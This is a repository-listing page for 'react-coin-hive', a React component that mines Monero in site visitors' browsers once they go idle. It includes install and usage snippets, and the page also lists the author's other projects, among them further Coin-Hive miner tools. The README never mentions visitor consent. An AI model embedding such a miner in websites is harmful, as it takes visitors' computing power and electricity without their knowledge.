• Stars
    star
    158
  • Rank 237,131 (Top 5 %)
  • Language
    JavaScript
  • License
    MIT License
  • Created over 7 years ago
  • Updated about 7 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Mine cryptocurrency while your users haven't engaged with your content lately

React Coin-Hive

Mine cryptocurrency while your users haven’t engaged with your content lately. Inspired by the last paragraph of this article.

This uses Coin-Hive to mine Monero (XMR).

Installation

npm install --save react-coin-hive

Usage

// Anywhere in your app as long as it gets mounted
<CoinHive siteKey='ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00'/>

Props

  • siteKey: Your Coin-Hive Site Key.

  • timeout: How long before considering that the user is idle in milliseconds. Default is 30000.

  • userName: If used, the miner will be created with CoinHive.User(siteKey, userName). By default the miner is created with CoinHive.Anonymous(siteKey).

  • threads: The number of threads the miner should start with. Default is 2.

  • throttle: The fraction of time that threads should be idle. Default is 0.

  • onInit: A function that takes the miner instance as argument. It's called when the miner is created.

  • onStart: A function that takes the miner instance as argument. It's called every time the miner is started.

  • onStop: A function that takes the miner instance as argument. It's called every time the miner is stopped.

Disclaimer

I have nothing to do with coin-hive.com

More Repositories

1

synaptic

architecture-free neural network library for node.js and the browser
JavaScript
6,914
star
2

coin-hive

CoinHive cryptocurrency miner for node.js
JavaScript
1,982
star
3

coin-hive-stratum

use CoinHive's JavaScript miner on any stratum pool
TypeScript
416
star
4

shoal

autonomous agents + genetic algorithms
JavaScript
242
star
5

mnist

mnist digits in javascript
JavaScript
191
star
6

eth-pictures

🎨 Draw your own NFTs
TypeScript
44
star
7

coin-hive-proxy

Deprecated. Use CoinHive Stratum instead.
35
star
8

donger

npm package to generate dongers ヽ༼ຈل͜ຈ༽ノ
JavaScript
29
star
9

minero

a bunch of APIs mashed together
24
star
10

haha

humorous javascript obfuscation tool
JavaScript
16
star
11

nftmarketcap

top non-fungible tokens by (avg) market capitalization
JavaScript
13
star
12

react-redux-perf

Performance Engineering with React + Redux
JavaScript
12
star
13

synaptic-wikipedia

This is the source code for Synaptic's Wikipedia example
JavaScript
11
star
14

cheapbase

like Firebase, but for free (thanks to Heroku).
JavaScript
10
star
15

synaptic-workshop

Synaptic workshop for MuleSoft's MeetUp 2017
JavaScript
8
star
16

decentraland-shoal-scene

Decentraland Shoal Scene
TypeScript
7
star
17

react-storybook-typescript-template

🤸🏻‍♀️Template for a UI library using React + Storybook with TypeScript
JavaScript
7
star
18

earthquakes

just an experiment mixing Firebase open datasets + Google's WebGL Globe
JavaScript
5
star
19

hamster-scene

🐹 A hamster trying to escape from a pipe maze
TypeScript
4
star
20

lysergic

javascript neural network compiler
TypeScript
4
star
21

oliver

⚽️ Bot de Telegram para armar equipos de futbol
JavaScript
3
star
22

cazala.github.io

this is the source of my website
JavaScript
3
star
23

q-cache

simple tool to cache promises
JavaScript
2
star
24

query-to-json

just and endpoint that receives a query and returns a json of it
TypeScript
2
star
25

universal-app

2
star
26

point-e

Text to 3D mesh using OpenAI's Point-E
Python
2
star
27

builder-bot

Twitter bot that tweets every time new content is deployed via Decentraland's Builder
TypeScript
2
star
28

powerhour

tiny app for playing Power Hour (drinking game)
HTML
2
star
29

mana-altar

🔥 Burn MANA collected from Decentraland's Marketplace and light the Altar's flame
TypeScript
1
star
30

screenshots

TypeScript
1
star
31

eth-pictures-bot

✍Twitter bot that tweets new images submitted to https://eth.pictures
JavaScript
1
star
32

react-redux-seed

React + Redux + Router boilterplate
JavaScript
1
star
33

cra-bug-repro

TypeScript
1
star
34

rodo

🐘 HTTP mocking service
JavaScript
1
star
35

log

stdout
CSS
1
star
36

sabe

NodeJS meets ElBananero
JavaScript
1
star
37

universal-gitbook

1
star